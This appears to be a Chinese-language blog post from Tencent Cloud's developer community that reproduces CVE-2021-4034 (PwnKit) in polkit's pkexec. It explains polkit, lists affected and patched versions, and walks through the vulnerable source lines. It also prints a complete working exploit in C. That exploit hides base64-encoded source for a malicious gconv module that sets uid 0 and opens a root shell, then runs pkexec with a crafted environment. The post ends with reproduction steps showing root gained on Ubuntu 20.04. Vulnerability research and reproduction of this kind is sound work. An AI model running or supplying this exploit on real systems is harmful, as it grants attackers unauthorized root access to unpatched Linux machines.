前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-4034 polkit(pkexec)提权漏洞复现

CVE-2021-4034 polkit(pkexec)提权漏洞复现

原创
作者头像
枪哥四海为家
发布2022-02-22 11:51:59
15.1K5
发布2022-02-22 11:51:59
举报

一.漏洞简述:

polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令

polkit 提供了一个授权 API,供特权程序(“ MECHANISMS ” )使用,通常通过某种形式的进程间通信机制为非特权程序( “ SUBJECTS ”)提供服务。在这种情况下,该机制通常将主体视为不受信任。对于来自主体的每个请求,该机制需要确定该请求是否被授权,或者它是否应该拒绝为主体提供服务。使用 polkit API,一种机制可以将此决定转交给受信任的一方:polkit 权威。

polkit 权限被实现为系统守护进程 polkitd (8),它本身没有什么特权,因为它以 polkitd系统用户身份运行。机制、主体和认证代理使用系统消息总线与授权机构进行通信。

除了作为授权之外,polkit 还允许用户通过验证管理用户或客户端所属会话的所有者来获得临时授权。这对于机制需要验证系统的操作员确实是用户还是管理用户的场景很有用

plokit基本组成

polkit— 授权管理器

polkitd— polkit 系统守护进程

pkcheck— 检查一个进程是否被授权

pkaction— 获取有关已注册操作的详细信息

pkexec— 以另一个用户身份执行命令

pkttyagent— 文本认证助手

polkit架构
polkit架构

二.影响版本:

1.受影响版本

代码语言:javascript
复制
· 2009年5月至今发布的所有 Polkit 版本
注:Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在Polkit的Linux系统均受影响。

2.不受影响版本

代码语言:javascript
复制
CentOS:
· CentOS 6:polkit-0.96-11.el6_10.2
· CentOS 7:polkit-0.112-26.el7_9.1
· CentOS 8.0:polkit-0.115-13.el8_5.1
· CentOS 8.2:polkit-0.115-11.el8_2.2
· CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
· Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
· Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
· Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
· Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
· Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
· :policykit-1 0.105-18+deb9u2
· Debain stretch:policykit-1 0.105-18+deb9u2
· Debain buster:policykit-1 0.105-25+deb10u1
· Debain bullseye:policykit-1 0.105-31+deb11u1
· Debain bookworm,bullseye:policykit-1 0.105-31.1

三.exp利用逻辑:

exp1链接:https://github.com/luijait/PwnKit-Exploit

https://github.com/luijait/PwnKit-Exploit/exploit.c

代码语言:javascript
复制
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/**
 * @author: luijait
 * @version: 1.0
 * @CVE: CVE-2021-4034 
*/

void enviroment()
{
system("mkdir 'GCONV_PATH=.' && touch 'GCONV_PATH=./tmp' && chmod +x 'GCONV_PATH=./tmp'");
system("mkdir tmp;echo I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKdm9pZCBnY29udih2b2lkKSB7fQoKCnZvaWQgZ2NvbnZfaW5pdCh2b2lkICpzdGVwKQp7CgkvL1Blcm1zIAoJc2V0dWlkKDApOyBzZXRldWlkKDApOyBzZXRnaWQoMCk7IHNldGVnaWQoMCk7CQoJLy9JbnZvcXVlIFNoZWxsCgljaGFyICogc2hlbGxbXSA9IHsgIi9iaW4vYmFzaCIsICItaSIsIE5VTEwgfTsKCS8vRGVmaW5lIFBhdGgKCWNoYXIgKiBlbnZfdmFyc1tdID0geyAiUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iLCBOVUxMIH07CglleGVjdmUoc2hlbGxbMF0sIHNoZWxsLCBlbnZfdmFycyk7CglleGl0KDApOyAKfQo= | base64 -d > tmp/b64load.c; gcc tmp/b64load.c -o tmp/pwnkit.so -shared -fPIC ");
system("echo bW9kdWxlIFVURi04Ly8gUFdOS0lULy8gcHdua2l0IDIK | base64 -d > tmp/gconv-modules");		
}

void banner()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Current User before execute exploit\nhacker@victim$whoami: ");
system("whoami");
sleep(1);
printf("Exploit written by @luijait (0x6c75696a616974)");
}

int main(int argc, char **argv)
{
	
banner();
	
enviroment();
	
char * const idk[] = {
	NULL
};
char * const entorno[] = {"tmp", 
			  "PATH=GCONV_PATH=.", 
			  "SHELL=/random", 
			  "CHARSET=PWNKIT",
			  "GIO_USE_VFS=",NULL
			 };
	printf("\n[+] Enjoy your root if exploit was completed succesfully\n");
	return execve("/usr/bin/pkexec", idk, entorno);
	
}

基本解释:

代码语言:javascript
复制
argc表示有多少个命令行参数,第一个就是执行程序名,所以argc最少为1。
argv是具体的参数。
envp是系统的环境变量。 常规形式: “名称=值”的,以NULL结束。

char *argv[ ] 表示命令行参数的字符串数组,用来存放指向字符串参数的指针数组,每个元素指向一个参数。
envp 存放当前程序运行环境的参数
int argc表示命令行字串的个数。

exp2链接:https://github.com/PeterGottesman/pwnkit-exploit

exploit.c执行逻辑
exploit.c执行逻辑

四.漏洞点逻辑:

pkexec源码:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c

漏洞点逻辑:执行pkexec时,指定了恶意的envp[0],那么可以写入一个环境变量到目标进程空间中

1. 534行,n初始值为1

代码语言:javascript
复制
534   for (n = 1; n < (guint) argc; n++)

2. 610行,argv[1]实际指向的是envp[0],path 会被赋值为envp[0]

代码语言:javascript
复制
610   path = g_strdup (argv[n]);

3. 632行,通过PATH环境变量找到该程序的绝对路径并返回:s = g_find_program_in_path (path),

代码语言:javascript
复制
632   s = g_find_program_in_path (path);

4. 639行,最后触发数组下标越界:此时argv[1]被赋值为 一个绝对地址,也就是 envp[0]被赋值为一个绝对地址

代码语言:javascript
复制
639   argv[n] = path = s;

五.漏洞复现

1.复现环境:

操作系统:Linux VM-0-5-ubuntu 5.4.0-88-generic x86_64 x86_64 x86_64 GNU/Linux

ubuntu 20.04.4
ubuntu 20.04.4

pkexec版本:0.105

pkexec 0.105
pkexec 0.105

2.漏洞提权触发:

(1)本地普通用户权限:ubuntu权限

代码语言:javascript
复制
id

(2)执行exp提权root

代码语言:javascript
复制
make
./exploit
id
成功提权
成功提权

六.漏洞原理参考:

PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)

Qualys 漏洞和威胁研究总监Bharat Jogi Bharat Jogi, Director, Vulnerability and Threat Research, Qualys https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

polkit概述

https://www.freedesktop.org/software/polkit/docs/latest/

polkit架构及描述

https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html

pkexec架构及描述

https://www.freedesktop.org/software/polkit/docs/latest/pkexec.1.html

CVE-2021-4034 深入分析及漏洞复现

23R3F:

https://xz.aliyun.com/t/10870

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一.漏洞简述:
    • plokit基本组成
    • 二.影响版本:
      • 1.受影响版本
        • 2.不受影响版本
        • 三.exp利用逻辑:
        • 四.漏洞点逻辑:
        • 五.漏洞复现
          • 1.复现环境:
            • 操作系统:Linux VM-0-5-ubuntu 5.4.0-88-generic x86_64 x86_64 x86_64 GNU/Linux
            • pkexec版本:0.105
          • 2.漏洞提权触发:
            • (1)本地普通用户权限:ubuntu权限
            • (2)执行exp提权root
        • 六.漏洞原理参考:
          • PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)
            • polkit概述
              • CVE-2021-4034 深入分析及漏洞复现
              相关产品与服务
              网站渗透测试
              网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档